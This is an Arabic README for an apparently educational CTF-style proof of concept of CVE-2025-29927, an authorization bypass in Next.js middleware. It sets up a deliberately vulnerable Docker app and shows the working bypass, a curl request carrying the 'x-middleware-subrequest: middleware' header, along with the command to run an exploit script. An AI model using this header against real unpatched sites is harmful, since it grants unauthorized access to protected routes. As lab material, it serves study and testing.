
إثبات مفهوم بأسلوب CTF يوضح تجاوز تفويض الوسيطة في Next.js الخاص بـ CVE-2025-29927. يتضمن تطبيق Docker ضعيف وسكريبت استغلال لاسترداد العلم (flag) من المسار المحمي.
هذا إثبات مفهوم بأسلوب مسابقة التقاط العلم (CTF) للثغرة تجاوز صلاحية الوسيطة في Next.js (CVE-2025-29927). الهدف هو تجاوز صلاحية الوسيطة (auth middleware) واسترجاع العلم من المسار /protected.
/protected/git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
سيبدأ تشغيل تطبيق Next.js القابل للاستغلال على http://IP:3000
حاول الوصول إلى:
curl -i http://IP:3000/protected
سيتم إعادة توجيهك إلى /.
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
استخدم exploit.py المقدم لتجاوز الوسيطة والوصول إلى المسار المحمي:
python3 exploit.py -url http://IP:3000
في حالة النجاح، ستقوم باسترجاع العلم من /protected.
Dockerfile - بناء تطبيق Next.js القابل للاستغلالexploit.py - يستغل الثغرة لتجاوز الصلاحيةpages/ - يحتوي على المسارات القابلة للاستغلال /protected و /loginmiddleware.js - منطق الوسيطة القابل للاستغلالREADME.md - هذا الملفإثبات المفهوم هذا هو لأغراض تعليمية وبحثية فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
ابحث عن العلم عن طريق استغلال الثغرة والوصول إلى:
http://IP:3000/protected
حظ موفق! 🏴☠️